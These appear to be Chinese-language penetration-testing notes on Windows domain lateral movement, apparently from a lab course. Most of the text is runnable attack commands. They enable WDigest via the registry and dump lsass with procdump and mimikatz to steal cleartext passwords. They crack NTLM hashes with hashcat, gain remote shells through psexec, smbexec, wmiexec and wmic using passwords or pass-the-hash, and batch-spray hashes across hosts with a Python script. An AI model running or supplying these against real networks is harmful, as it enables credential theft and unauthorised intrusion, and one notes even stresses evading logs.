#知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
#知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
#注册表修改
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Procdump+Mimikatz配合获取
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz上执行:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
Hashcat破解获取Windows NTML Hash
https://github.com/hashcat/hashcat
hashcat -a 0 -m 1000 hash_file --force
参考链接:
https://www.freebuf.com/sectool/164507.html
域横向移动SMB服务利用-psexec,smbexec
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
#psexec第一种:先有ipc链接,psexec需要明文或hash传递 net use \\10.4.7.52\ipc$ "admin!@#45" /user:hack\administrator # 需要先有ipc链接 -s以System权限运行 psexec \\10.4.7.52 -s cmd
#psexec第二种:不用建立IPC直接提供明文账户密码 psexec \\10.4.7.52 -u hack/administrator -p admin!@#45 -s cmd
# hash 登录 psexec -hashes :518b98ad4178a53695dc997aa02d455c hack/administrator@10.4.7.52
#smbexec无需先ipc链接 明文或hash传递 smbexec hack/administrator:admin!@#45@10.4.7.50/52
smbexec ./administrator:123@10.4.7.52
smbexec -hashes :518b98ad4178a53695dc997aa02d455c hack/administrator@10.4.7.52
域横向移动WMI服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
#自带WMIC 明文传递 无回显 wmic /node:10.4.7.52 /user:hack\administrator /password:123 process call create "cmd.exe /c ipconfig >C:\1.txt"
#自带cscript明文传递 有回显 cscript wmiexec.vbs /shell 10.4.7.52 hack/administrator@admin!@#45
#套件impacket wmiexec 明文或hash传递 有回显exe版本 wmiexec ./administrator:123@10.4.7.52 "whoami" wmiexec hack/administrator:admin!@#45@10.4.7.52 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c hack/administrator@10.4.7.52 "whoami"
域横向移动以上服务hash批量利用-python编译exe
#pyinstaller.exe -F fuck_neiwang_002.py import os,time ips={ '10.4.7.50', '10.4.7.51' '10.4.7.52' } users={ 'Administrator', 'hack' } hashs={ 'ccef208c6485269c20db2cad21734fe7', '518b98ad4178a53695dc997aa02d455c' } for ip in ips: for user in users: for mimahash in hashs: #wmiexec -hashes :hash god/user@ip whoami exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami" print('--->' + exec + '<---') os.system(exec) time.sleep(0.5)